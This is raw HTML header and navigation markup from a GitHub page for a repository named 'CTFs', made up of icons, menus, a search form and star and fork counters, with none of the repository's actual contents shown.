<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="102334842" data-scoped-search-url="/AnisBoss/CTFs/search" data-owner-scoped-search-url="/users/AnisBoss/search" data-unscoped-search-url="/search" data-turbo="false" action="/AnisBoss/CTFs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="O5oEDXSF4gfwdzc/37h/tN6z5TtU55rfGz96RUiAxBjNDR+UYYl0EGg2GxOdZIZE7leXbGB1wCBwYDEuYE4rnQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> AnisBoss </span> <span>/</span> CTFs
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>6</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
